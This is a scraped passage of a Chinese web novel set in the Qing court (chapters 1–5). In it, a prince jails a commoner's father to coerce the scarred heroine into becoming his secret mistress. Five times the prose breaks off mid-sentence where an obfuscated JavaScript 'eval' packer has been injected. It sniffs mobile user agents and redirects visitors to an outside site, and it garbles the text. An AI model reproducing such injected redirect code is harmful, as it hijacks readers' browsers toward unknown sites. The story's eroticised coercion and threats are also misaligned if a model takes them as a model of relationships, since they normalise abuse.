《四爷的外室不好当(清穿)》
1. 第1章
第1章
十二月初六,腊月刚至,京城已寒风凛凛,越发冷冽。
“四阿哥,趁着这几日有空,不如我们挑个日子去郊外狩猎吧,听说今年郊外的野猪多了不少,说不定我们能猎到两头。”世子雅尔江阿跟胤禛并肩走着,笑道,眼里有着明显的挪揄。
胤禛抬眸冷冷地睨了雅尔江阿一眼,前几日,皇阿玛考察检阅他们的骑射水平,只有太子一人得到皇阿玛的夸赞,其他人或多或少被训斥一通,自己更是被斥责得最狠,皇阿玛说他手无缚鸡之力,一无是处,箭术糟糕透顶,丢大清皇子跟祖先的脸,罔为骑背上的八旗子弟。
要不是雅尔江阿跟他从小一块长大,关系甚好,换成别人,他定要他后悔说这几句话,胤禛想到皇阿玛斥责他的话,还是觉得不痛快,哪有什么闲心去郊外狩猎。
几人走过连廊,穿过月洞,刚来到前院便见到有几个人在院子里,三个女孩站着,另外两个女孩跪着,站着的人背对着他们,而跪着的两个人低着头,几人都没看到身后的人。
“丑八怪,走路不长眼,连我都敢撞,谁给你的胆子,以你这副容貌还敢出门,我要是你就乖乖躲在家里大门不出,二门不迈。”
“还请格格恕罪,是奴婢的不对,奴婢给格格赔不是了,还请格格不要生气,饶过奴婢一回。”
雅尔江阿一听声音便知道是自家妹妹多兰又在刁难责罚下人,她性子向来骄横跋扈,稍有不顺便会拿下人出气,平日里他不会管她,只是今日四阿哥在此,正所谓家丑不可外扬,他刚想出声提醒时被四阿哥抬手制止,他只能把话憋回去,目光落在跪着的两个女孩身上。
这两个女孩都看上去面生得很,他从未见过,尤其是其中一个女孩脸上还有一块十分丑陋的疤痕,几乎占据她半张左脸,面容可怖,出声赔不是的正是那个脸上有疤的女孩,她跪在前头,微微挡住身后的人。
“饶过你?你撞疼我了,哪能轻易饶过你,丑八怪,看你下次还敢不敢走路不长眼。”多兰抬脚对着人就是狠狠一踹。
那女孩没有躲避,硬生生承下,连身形都没有太大的晃动,越发垂首敛目,道歉道:“奴婢下次不会了,还请格格饶了奴婢这一回。”
胤禛双眸清冷,无声地旁观着这一幕,他目光落在开口说话的奴才上,他虽然年轻,但在皇宫里长大,见过各式各样的人,尤其是奴才,大多数奴才谄媚奉承居多,他们面对主子时是要卑躬屈膝的,但这个面容丑陋的奴才跟一般的奴才有些许不同,她虽是双膝跪地,但单薄的背脊笔直,仅仅脑袋低垂,口上说着道歉的话,但语气里却是不卑不亢,不见慌张害怕,那一脚用足了力气,她都不哼一声,生生忍下这份疼。
许是感受到灼热的目光,那奴才抬起头,胤禛跟她对视一眼,心里想的是这奴才有一张丑陋的脸庞,却有一双漂亮潋滟的秋水明眸,她抬眸时不见讶色,眼底平静,应是早就察觉到他们的存在。
“给世子爷请安,世子爷万福。”
雅尔江阿这才有机会出声,制止这场闹剧:“多兰,你这是干什么?”
多兰等人回头才察觉到后头有人,她总算有点慌张,急着解释道:“大哥,是这个奴才走路不看路撞到我。”
雅尔江阿皱眉说道:“就这点小事,你小题大做干什么,既然她们知错了,就饶她们一回,好啦,你们该干什么干什么去,别跪在这里了。”
雅尔江阿只想赶紧遣散她们,省得被四阿哥继续看笑话,丢他们王府的脸。
“谢世子爷,奴婢告退。”
胤禛见到那女孩谢过后,将旁边腿软发抖的奴才扶起来,两人一同离开,消失在他们眼前。
他盯着那女孩挺直的背影,眸光深沉,明明是一个奴才,却有着不屈的风骨,就是这样的人会让人想看她真正弯腰恭顺的样子,他突然产生一个念头——-他要折断她的傲骨,让她平静的眼底出现波澜,奴才就该有奴才的样子,摆出清高自尊的样子只会让人厌恶。
“四哥哥,你怎么在这里?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878482|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多兰笑着小跑过来挽住他的手,胤禛垂眸一眼,平静回道:“过来跟你大哥商量点事。”
雅尔江阿见到自家妹妹的举动,再一次皱眉,男女授受不亲,她一个没出阁的女孩这样挽四阿哥的手算怎么回事,自己的清白跟闺誉还要不要了,他把自家妹妹的手从四阿哥手臂上拿开,“四阿哥,我送你们出去吧,马车应该候在府外了。”
多兰不高兴地撇撇嘴。
胤禛点点头,跟着雅尔江阿一起走出王府。
简亲王府正门前已经有一辆马车候在那里,胤禛上了马车后跟雅尔江阿告别,让他别忘了他今日说的事。
“放心吧,我一定替四阿哥办好此事。”雅尔江阿回道,挥挥手送走四阿哥。
胤禛过来找雅尔江阿是为了一座银楼,他想买下那座银楼,只是他身为皇子不好亲自出面,也不好将银楼过契到他名下,便托他帮忙,由他代劳。
马车朝着皇宫驶去,过了两刻钟停在神武门前。
胤禛下了马车后,刚走两步路,他回头跟苏培盛低声说道:“查一查方才见到那两个奴才的身份,看是不是简亲王府的奴才,隐蔽一些。”
苏培盛稍显疑惑:“主子爷说的是哪两个奴才?”
“被多兰罚跪的那两个。”
苏培盛一愣,不明白四阿哥为何要他查那两个奴才的身份,只是简亲王府的两个奴才而已,他只记住其中一个,只因那奴才脸上有好大一块疤,若是没那块疤,他觉得那奴才容貌绝对不俗,可惜了,男子毁容还好,女子毁容,大半出嫁艰难,正经人家瞧不上,主子爷要他查她们的身份,难不成看中其中一个?
这应该不至于,那两个奴才一个脸上有疤,另一个平平无奇,年纪倒是跟主子爷差不多,十六七岁的样子,不过这宫里奴才多的是,也有容貌出色的包衣奴才,主子爷应该不缺奴才伺候才是,主子爷也不是贪恋女色之人。
苏培盛没敢多问,主子爷的心思哪是他一个奴才随便揣摩询问的,只连忙应下此事。
2. 第2章
第2章
另一边的乌锦从简亲王府出来后若有所思,她并非简亲王府的奴才,此次过来王府是为了她阿玛。
她阿玛是镶蓝旗第三参领第十二佐领下的旗兵之一,满洲人入关后便开始有了八旗制度,她阿玛的父亲,她的玛法当年是随着清太宗进入中原,是万千兵将其中的一名小兵,她玛法一辈子没能往上晋升,随着清世祖定都京城后,她玛法被编入镶蓝旗,也就意味着他们世代子孙均为镶蓝旗人,为八旗旗民。
而八旗子弟,人尽为兵,尤其是男丁,她阿玛从十七岁便成为牛录之一,领了旗缺,这么多年一直留驻在京城,是禁旅八旗的一份子,她阿玛跟她玛法一样,一辈子没能晋升,一直都是普通牛录之一,没能往上当上参领。
八旗清兵分为五种,分别是亲军、骁骑、前锋、护军与步军,她阿玛隶属步军。
但五天前,她阿玛被下狱了,他们一家人都慌了,不知为何会突然被下狱,乌锦身为长女,目前家里唯一能依靠的人,四处打听。
他们家唯一能靠到的关系便是她的姑母,姑母是她玛法的妹妹,她姑母嫁给纳喇氏三等侍卫萨齐,而她的姑父萨齐的妹妹跟简亲王的庶福晋李氏沾点姻亲,李氏的庶弟娶了萨齐的妹妹。
简亲王是真正的皇室中人,实实际际的黄带子,真正的国姓王爷,姓爱新觉罗的,虽说李氏只是简亲王的庶福晋,但跟他们这些普通旗民相比已经是顶天的富贵之人。
要不是她阿玛下狱这种生死攸关的大事,她也不会求她姑母,托她的关系去简亲王府见李氏,她虽不是第一次见李氏,但是第一次有事相求于李氏,带去不少厚礼。
她也不是第一次见到多兰格格,今日是多兰格格先撞到她,却被她倒打一耙,她有求于人,只能息事宁人,不与其争执,被要求下跪道歉,她也听从了。
今日除了意外见到多兰格格,她也见到世子,多兰格格的哥哥,还有世子旁边的贵人。
她虽不知那人的身份,但他站在世子旁边,世子对他的态度稍显恭敬,那人穿了一件石青缎平金绣八团鹤纹大氅,里头是圆领对襟的蓝缎刻丝方胜纹长褙子,褙子上面的刺绣十分精致平整,还有那一身的缎料子不是普通人家能穿得起的,怕是比世子更显贵的人,那人的眼神对她而言太过危险,太过有侵略性,她与他对视在心里都不由一颤。
“小姐,你没事吧?那格格也太无礼了,明明是她撞到小姐的,竟然还让我们下跪道歉。”
彩玉皱着眉头抱怨道:“刚刚真是吓死我了,我都腿软了,小姐,你疼不疼?肯定疼坏了,那格格用了那么大力踢小姐,要不是有人出现,我觉得那格格都不会放过我们。”
“她是王爷府里的格格,我们得罪不起,好啦,先别说了,回去再说。”
乌锦其实还很庆幸,至少这一趟过来王府是有所收获的,至少她知道阿玛为何会下狱。
年中,准噶尔部的噶尔丹带兵企图吞并掠夺蒙古喀尔喀部,并一路进攻到离京城只有几百里的乌珠穆沁,逼近京城,,圣上决定出征,这是初次出征噶尔丹,只是中途圣上生病返回京城。
而前线这一块交由裕亲王、恭亲王与简亲王等人,经过几个月的作战,虽然成功击退噶尔丹的部队,但清军同样损失重大,一等公兼圣上的舅舅佟国纲命丧于此役,而且还让噶尔丹逃脱了,没能剿杀噶尔丹,等于是留下后患。
圣上大怒,惩诫革职了好几批人,连裕亲王等人都不例外,罚俸的罚俸的,降职的降职,而前几日,圣上临时决定检阅在京城驻守的八旗清兵,结果圣上觉得他们太过懒散,疏于练习兵阵,拿了旗兵的俸禄却不好好当差,于是又将一百多人下狱。
而她阿玛正是那一百多人其中一个,他们一半佐领的人都被关进监狱中。
这期间朝堂上是风声鹤唳,因为跟噶尔丹的战役损失过于惨重,皇上余怒未消,人人都战战兢兢。
他们这些普通百姓只知年中圣上决定出征,并不知道这场战役死伤过多,又让噶尔丹逃脱,看似胜了,实则是败了,更不知圣上这段时日心情极差,余怒未消。
李氏是简亲王的庶福晋,皇家中人,才知道一点点内幕,她只跟她说了一些,剩下那些是她自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878483|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己从记忆里的历史补全的。
既然是集体被下狱,法不责众,圣上是在气头上才会如此,她阿玛下狱并非是她阿玛自己犯了什么大错,乌锦便放心些许,大概再过几日,她阿玛会被放出来,后续罚几个月的俸银,此事便会过去。
她们一路走回到石桥胡同,乌家居住在这条胡同的中间,附近有三圣庵跟永宁寺,再往北一点是镶蓝旗衙门。
这一块的几条胡同主要是镶蓝旗旗民居住在此,因为满洲清军入关后进行的圈地活动,八旗旗下的旗民大多是分块而住,镶蓝旗旗民大多住在京城内城的南边。
“桃子,怎么样了?福晋可有说什么?”
乌锦刚进家门,她额娘见到她,忙迎上去询问道。
她大名为乌锦,小名是桃子,听说她出生那日,家里院子里的桃子树正好开花,于是她阿玛给她取个小名叫桃子。
“额娘,进屋再说。”
她们来到正房中,乌锦在靠墙边的铺炕边上坐下,她额娘、还有程姨娘牵着她二弟过来了,一脸担忧着急地看着她。
她们家人口还挺简单的,她阿玛娶了她额娘,只是她额娘生了她之后身子有损,无法再生育,她阿玛又纳了程姨娘,程姨娘生了两个孩子,皆为男孩,她有两个弟弟,一个八岁,一个四岁,而彩玉算是她的婢女,跟她情同姐妹。
大弟此时应该在学堂那边读书,这几日因为她阿玛的事,一家人又急又愁,像热锅上的蚂蚁团团转,四处探听消息,找关系寻人帮忙,花出去不少银两。
虽说程姨娘不是她的亲额娘,但他们家没有太多腌趱事,一直以来挺和睦的,她额娘跟程姨娘也相处得很好,这么多年,他们就是一家人,乌锦也把程姨娘他们当成她亲额娘亲弟弟,不会有半分生疏,谁让她穿到大清时是从婴儿做起。
彩玉顺手给她倒杯热茶,她喝两口润喉后才缓缓说她阿玛的事,挑重点说,最后让她们别太担心,估计过几天,她阿玛就会被放出来,最迟不会到年底。
临近年关,衙门那边也不会关那么多人。
她们也才放心下来。
3. 第3章
第3章
冬日天黑得早,日暮时分,大弟乌安从学堂回来后,一家人就张罗着吃饭,这几日,他们心里悬着一颗大石头,没法安心,好不容易晓得阿玛下狱的原因,才开始有了食欲。
晚膳是她额娘跟程姨娘一块做的,说她这几日忙进忙出,特意弄了她喜欢吃的羊肉锅子,一家人围在一块吃饭。
方桌中间放着铜镀银寿字火锅,锅内带炉,锅底下方可以放燃着的炭块,是冬日吃锅子最好的器皿,直接往里头放新鲜的食物汆烫熟即可,涮菜有两盘鱼丸子、两盘醋肉、四盘白菜、两盘炸豆腐块跟两盘面条。
锅子大冒热气后,程姨娘先将里面炖好的羊排夹一块放到她盘中,说道:“你阿玛的事还是多亏你在外面来回奔波,这几日你吃也吃不好,我跟你额娘没用,帮不上什么忙,既然你阿玛没犯大错,过几日就能回来,你今日就放开吃,瞧着你都瘦了一些。”
“那我就不客气了,额娘炖的羊排,我怎么都吃不腻。”
完颜氏心疼地看着自家女儿,她身子不好,只能在家干干针线活,操持家务,丈夫老实木讷,安分守己,不懂得结交攀附,一辈子只规规矩矩当一个普通的牛录,连个参领都当不上,只有女儿稍微聪明伶俐一些,加上她是长女,比她大弟还大九岁,两个弟弟年幼,暂时靠不上,这个家有一半是女儿撑起来的。
她女儿因脸上那块疤连选秀都选不上,已经到可以自由婚嫁的年纪,偏偏别人一听说她女儿脸上有疤,连上门说亲的都没有几个,好在她女儿没有自怨自艾,去年开了一间铺子,专门给别人刺绣,接一些手工绣活,经过两年,那铺子的生意还不错,不然凭她丈夫每个月五两银子的月俸,哪能养活家里七口人。
连这次丈夫下狱,也是自己女儿四处打听,去找了她姑母,又去一趟简亲王府,王府哪是那么容易进去的,送礼都送出去一二百两才能见到人。
完颜氏又给自家女儿多夹一块羊排,说:“喜欢吃就多吃,你向来不喜欢吃菜,从小到大就喜欢吃肉,明日我再去市集买一些羊排回来冻着。”
“大娘,我也想吃羊排。”二弟乌明昂着小脑袋,稚声稚气说道。
乌锦瞧着乌明眼珠子骨碌碌转的可爱样子,把她额娘夹给她的那一块羊排夹给乌明,“你吃吧,多吃肉才能快快长高,额娘,小娘,你们别管我啦,你们自己也吃,彩玉,你也吃。”
这顿饭是这五日以来一家人吃得最安心的一顿,乌锦吃饱后就备热水沐浴。
到了酉时末,进入黑夜,大门落锁,四处安静下来,只有乌锦这屋还掌着灯,她熬着夜做绣活。
临近年关,各家喜事多了不少,因此她铺子的生意不错,接了不少活,这几日因为她阿玛的事,她耽误了几天,手头上的刺绣活得加紧赶工,得在年前交给人家。
她刺绣的手艺是从小跟着她额娘学的,后来又跟着一位从宫里出来的老绣娘学,她知道古代的女子想要过得好就得有一技之长,毕竟女子不像男子可以考取功名,她又不想嫁人,只能学一门手艺傍身。
从三岁开始,她就开始学着刺绣,经过十几年的勤学,她刺绣的手艺不说数一数二,但在京城也排得上字号,比她额娘还要好。
“小姐,该睡了,明日再绣。”已经躺在床上的彩玉眯着眼睛,有些犯困说道。
“你先睡,不用管我。”
房间内静谧,只有针线穿过锦缎的轻微刺刺声,临近年关,各类丝线跟纱线都跟着涨价,乌锦先前屯了一些,不过恐怕还不够,她想着明日再去采买一些。
她就这样静静地刺了一个多时辰才上床歇息。
翌日,天刚亮,院子就传来动静,乌锦也醒了,继续刺绣,直到程姨娘在外头问她起来没有,她才走出房门。
用过早膳后,她跟彩玉便去铺子那边。
三日匆匆而过,乌锦听说原先跟她阿玛同属十二佐领,一起被下狱的人被放出来了,大家陆陆续续归家。
他们一家人也守在家里等着她阿玛回来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878484|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是从白天等到夜幕降临也没见到阿玛回来。
起初乌锦还寻思着或许是衙门那边分批释放,又等了几日还是没见她阿玛回来,她去询问了跟她阿玛一起关押下狱的同僚,他们亦不知她阿玛为何还被关着。
原本因为检阅下狱的一百多号人基本上已经归家,唯独她阿玛除外,乌锦不仅去了一趟镶蓝旗衙门跑一趟,还往户部镶蓝旗旗司走一趟,通通无果,无人知道她阿玛为何还被关着。
他们毫无头绪,乌锦还是求到她姑母姑父那里,她姑父出身于上三旗,家族庞大,又是宗室里的三等侍卫,三等侍卫可是正五品武官。
八旗里人就那么多,旗民与旗民之间要么是姻亲,要么是族亲,总能有些关系,互相认识,她姑父跟康亲王府沾点姻亲,不管怎么样,姑母姑父他们都比他们一家消息灵通得多。
又过三日,姑父他们还真打听到一些消息,说是她阿玛得罪上面的人,是上头下令不准释放她阿玛,只是这上面是指谁,他们没能打听出来。
乌锦想不出来她阿玛会得罪谁,她阿玛不过是一普通牛录,一辈子老实巴交,能得罪谁,她从来没听说过她阿玛跟谁起冲突。
她额娘跟程姨娘这几日哭了好几回,乌锦再心急忧虑也只能自己撑着,不在她们面前表露出太多情绪,他们都指靠着她呢。
铺子那边也不能不管,没有银子,不给人送礼,空手上门,别人不会搭理他们的。
乌锦抽空去一趟铺子,刚开始翻看账本,有一男子进来,递给她一张纸条后就离开,她打开一看,上面有一行字——百花酒楼芍药阁,午时正,乌志善。
乌志善是她阿玛的名字,乌锦看完后追出去,递纸条的男子已不见踪影。
这是什么意思?让她午时正过去百花酒楼吗?
乌锦攥着纸条,神情凝重,这十几日,她已经用尽办法,求遍能求的人,可她阿玛还被关着,她阿玛也上年纪了,折腾不起,不管怎么样,哪怕对方戏弄她,她也得过去一趟。
4. 第4章
第4章
乌锦记着时辰,离午时正还有一刻钟便带着彩玉过去。
百花酒楼是京城内城数一数二的大酒楼,但普通百姓一般不会进入,听说里头吃一顿饭要花去至少几两银子,而普通人的月俸也不过三五两银子,它所处地段不错,闹市之中,人潮来往,周围商铺鳞次栉比。
乌锦在心里松口气,既然是闹市,真出什么事的话,她们大喊总能吸引人过来救她们。
酒楼一共三层,她们刚进去,店里的伙计就迎上来,问她有没有提前订位,她说她找勺药阁的人。
伙计便领着她们上二楼,乌锦打量酒楼内的一切,这酒楼里面很雅致,一楼大堂中间摆放着鲜艳的花跟青竹将几位貌美的女子围在其中,她们或抱着琵琶,或弹着古筝,手指拨弄着琴弦,丝竹之音悦耳悠扬。
酒楼的伙计端着盘子不断穿梭,稳中有序。
“公子,有一位姑娘说是找芍药阁的人。”伙计在芍药阁包厢外敲门,恭敬地对着门说一句,听到里头说进后才替她打开房门,做手势请她进去。
“彩玉,你在外面等我。”
“小姐,我跟你进去吧。”
乌锦摇摇头,让彩玉在外头等她,真出什么事,彩玉也好叫人,搬救兵,她一人进去,包厢内摆放着一张红漆大圆桌,上面摆着满满当当的酒菜佳肴,每一道菜下方都用小炉子煨着,正冒着热气。
她进去后便看到那日在简亲王府见到的男子。
包厢内除了她,还有四人,除了男子在中间坐着,其余人均站着,谁是主子一目了然。
乌锦微微屈膝行万福礼,轻声道:“奴婢乌氏给公子请安,公子万福。”
胤禛这次仔细看她,乌氏梳了一个平常的垂发低髻,身着圆领右衽浅绿色冬绸褙子,外加一件月牙白绣花蝶棉坎肩,她垂着黑眸站在那给他行礼,整个人透着温婉平和的气韵,明明长相丑陋,却不见卑微,将脸上的疤痕自然地露出来,没有遮掩。
“你可知我是谁?”
“奴婢不知,奴婢此前没见过公子,不过公子气度非凡,龙章凤姿,奴婢觉得公子定是贵人。”
胤禛眯眯眼,乌氏倒是会说话的,一张巧嘴,想到她自己开了一间铺子做生意,做生意之人大多巧舌如簧,他盯着她的脸庞,沉声说道:“你阿玛如今还在狱中,你想救你阿玛出来吗?”
乌锦隐隐猜出她阿玛迟迟不能归家是跟面前的人有关,此人身份怕是比简亲王府的世子还要尊贵,她阿玛得罪他了吗?
她想也没想先跪下来:“公子,奴婢的阿玛若是有得罪公子之处,还请公子大人不记小人过,奴婢的阿玛并非有意,公子请饶过他一回。”
“你阿妈没有得罪我。”
乌锦抬眸,眼中透着疑惑。
胤禛接着开口:“不过你阿玛不能归家的确是因为我,你若是想你阿玛从牢狱中出来,只需做一件事。”
乌锦急着问是何事。
“成为我的外室,我是爱新觉罗.保泰,当今裕亲王的长子。”
果真是比简亲王世子还尊贵的身份,裕亲王爱新觉罗.福全是康熙的异母兄长,深受康熙信任。
简亲王的曾祖父跟清太祖努尔哈赤是同母兄弟,所以简亲王跟康熙只能算是远房堂兄弟,关系自然比不上裕亲王这个亲兄弟来得血脉亲近。
外室?他竟然让她当他的外室?
一般王爷世子的女人有正妻嫡福晋、侧福晋跟庶福晋,因侧福晋也是娶的,朝廷礼部册封,入了皇家玉牒族谱的人,其实也是妻,大清一夫多妻,只比嫡福晋低一点点,世子一般只允许请封一个侧福晋,而庶福晋地位就低了,相当于婢妾,没有被册封,只有生子后才会被记入皇室册子,庶福晋的数额就不定数了。
而外室比庶福晋都不如,那是见不得光,上不了台面的身份。
乌锦并不认为面前的人对她一见钟情,凭她的容貌,没有人会对她一见钟情,而他却要她当他的外室,这是在折辱她。
“世子爷,奴婢身份低微,样貌丑陋,配不上世子爷,还请世子爷放过奴婢。”
胤禛起身朝乌氏走过去,站定在她眼前,他居高临下地盯着她,伸手将她的下巴抬起:“虽只是外室,但你被我宠幸,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878485|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是你的福气,这是你平步登天的好机会,攀上我,哪怕是外室,你也比别人显贵,你是配不上我,不过我今日高兴,给你攀上我的机会,还有你若想你阿玛被放出去,就乖乖听我的话,按照我说的去做。”
乌锦眼睛睁大,所以并非是她阿玛得罪他,而是他想要她当他的外室,用她阿玛来要挟。
胤禛深沉的眸光落在她瓷白细嫩的脖颈上,他的手抚了抚她的红唇,她其实皮肤白皙,衬得她唇色嫣红,此时跪在他眼前,透着一股柔弱单薄的姿态,让人更想折她迫她虐她。
“世子爷,奴婢已有亲事在身,实在是高攀不上世子爷,还请世子爷放过奴婢跟奴婢的阿玛,世子爷的大恩大德,奴婢会一直谨记在心。”
胤禛哪里不知乌氏是在拒绝他,她一个卑贱低微的女子竟然在拒绝他,什么亲事,不过是她拒绝的说辞,他早已经让人将她跟乌氏一族的底细查得一清二楚,她哪来的亲事,他晓得她并未说亲。
他心里涌出一股怒火,不管是他还是保泰,对她这样家世的女子而言,哪怕是当外室都属高攀,朝中有多少大臣想将自家女儿塞进他们的后院,想自荐当外室的人也不在少数,只要跟他们这些皇子沾上一点关系就可以保他们荣华富贵,从来没有人像她这么不识相。
许是太过突然的缘故,胤禛压住怒火,冷声道:“今日你我初谈此事,你觉得突然情有可原,你回去好好想一想,以你的家世,你的容貌,能当上我的外室,那也是你飞上枝头变凤凰的机会,我会另外购置一间外宅给你居住,会让两个丫鬟伺候你,让你衣食无忧,只是你不能对旁人说起我的身份,你想好了,五日后过来这间厢房,到时候你阿玛便能归家。”
“若是奴婢不愿呢?”
乌锦说完这句话就觉得他冷沉的目光直直朝她射过来,将她整个人笼罩住,凌厉而又强势地将她困在其中寸寸围剿剜割,让她后背忍不住发凉。
冰冷的嗓音传来,他轻嗤一声,像是听到笑话一般,语气带有浓浓的讽刺:“哼,不愿?会有你心甘情愿的那一天,到时候便是你如今日这般跪地求我,你可要想好了!”
5. 第5章
第5章
“小姐,你没事吧?包厢里面那些人是谁?小姐认识吗?是跟老爷的事有关吗?老爷是得罪的人是他们吗?”
刚走出酒楼,彩玉连环发问,一脸担忧,乌锦此时脸色发白,手心冰凉,人恍惚出神,没听到彩玉的话,过后才反应过来,什么也没说,先带着彩玉离开,仿佛后面有人在追她们。
回到绣秀苑,她才稍微平复心情。
“小姐……”
乌锦给彩玉一个安抚的眼神,说她没事,外头来客人了,她让彩玉先去接待,她自己到后头绣房里面,绣房里各色丝线纱线与不同种锦缎齐整摆在架子上,还有各类刺绣的工具跟两架织布机靠墙边放着。
她拿出没做完的刺绣活坐下来刺绣,通过刺绣强迫自己冷静下来。
爱新觉罗.保泰看上去有十七八岁,古代男子大多十五六岁娶妻纳妾,出身皇家宗室的世子怕是更早,估计家中有嫡侧福晋都有了,庶福晋也不在少数,他要养外室,可能是男人的劣性根子作祟,妻不如妾,妾不如偷。
大清仍有殉葬习俗,一些宗室王公死后,除了正妻嫡福晋,谁都有可能殉葬,无论是侧福晋、庶福晋还是小妾外室,外室更不用说了,他即使没死,生前对她腻了厌了倦了,她也只有死路一条,养外室这种事属于皇家秘闻,只有死人不会泄密。
乌家不过是一普通旗民人家,她不过是一弱女子,哪能跟权贵抗衡,裕亲王世子要是真迫她当他的外室,她怕是也无力抵抗。
她阿玛如今还被关在狱中,可见他势焰熏天,能以权压人,他可能只需动动嘴皮子,他们一家人的日子都不好过,这个封建朝代便是如此,哪有什么人权可言。
只是她真的不愿当别人见不得人的外室,她连嫁人都不想嫁,她不甘心,她怎么甘心当别人的外室,对着一个强迫她的男人摇尾乞怜,依附在一个男人身上。
乌锦心烦意乱,绣错几针,不敢接着往下绣,一副很好的绣品是容不得太多错针的。
眼看着要过年了,她要如何才能将她阿玛救出来。
乌锦在绣房中坐了好一会儿,直到程姨娘过来给她们送午膳,她才稍稍收起思绪。
程姨娘将三层长方形提盒打开,从里面拿出两碗白米饭,一碟青椒炒鸡蛋,一碟笋煨咸肉,还有一碟绿豆糕,示意她们趁热吃。
用膳的时候,程姨娘问了一句铺子的生意如何,需不需要她过来帮忙看店。
乌锦刚刚跟彩玉外出了,将铺子关门半个时辰,她这铺子请的人不多,只是额外请了两位绣娘,绣娘一般在自己家干活,按时将绣品交上来即可,平日里就是她们一家人轮流守在铺子里面。
她暂且还不敢对着家人说那些糟心事,只说生意还行。
程姨娘也不敢提她阿玛的事,怕给她多余的压力。
一顿午膳在平静中吃完,程姨娘还赶着回家照顾她二弟就先离开了。
乌锦跟彩玉两人在铺子里守到快天黑才回家。
夜里,彩玉已经睡下,乌锦开始将她攒下的所有银两数了数,这些是她十几年攒下来的,她从六岁开始跟着她额娘一块接绣活,这两年又开了绣秀苑后,她一共攒下四百两。
其中二百两在她阿玛下狱后,她四处求人送礼来打听消息已经花去二百两,如今只剩下二百一十两。
她开始翻她的妆奁盒,将她最好的两支首饰拿出来,一支银镀金嵌红珠宝石蝴蝶簪跟吉祥如意碧玉坠子,前者是她十五岁及笄时,她额娘送给她的,那是额娘最好的嫁妆之一,后者是她十六岁生辰时,她阿玛送给她的,说是人养玉,玉养人,玉戴久了能通人性。
普通人家没有那么多好首饰,这是她唯二能拿得出手,有点价值的首饰,她将这些东西都装进一雕花楠木盒子里面。
翌日。
乌锦让彩玉去守着铺子,她用过早膳后便出门,先去五芳斋买一些点心,用油纸包包着,后独自一人走去简王府横街,来到简亲王府左侧门前,有两个看卫在守着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878486|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她扬起微笑,客气地说道:“两位大哥万福,你们还记得我吗?十几天我来过王府见李夫人,李夫人的亲戚,我今日又过来见李夫人,还请两位大哥进去通传一声,就说我是乌家的女儿乌锦,一大早的,两位大哥可能还没吃早膳,这是五芳斋的点心,两位大哥慢用。”
乌锦将两包点心递给他们,一人一包。
五芳斋的点心是京城出了名的好吃,平日里大家走访做客也会买五芳斋的点心上门。
两个看卫收下后脸色好看了一些,但语气不善,撇撇下巴让她在这里等着,其中一人进去帮她通传。
只要他们帮她通传,她不在意他们态度,简亲王府气派显荣,高门大户,属于王公贵族,连里头的奴才都带有一种倨傲,许是晓得她是普通人,他们看她的眼神有些轻蔑。
乌锦站在一旁等着,过一会儿有人从王府里出来,她见是简亲王世子,忙屈膝行礼问安。
“是你,你过来找谁?”正准备外出的雅尔江阿对面前的女子有印象,她脸上那道疤太让人印象深刻了,很难忘记。
“回世子爷,奴婢是过来见庶福晋李夫人。”
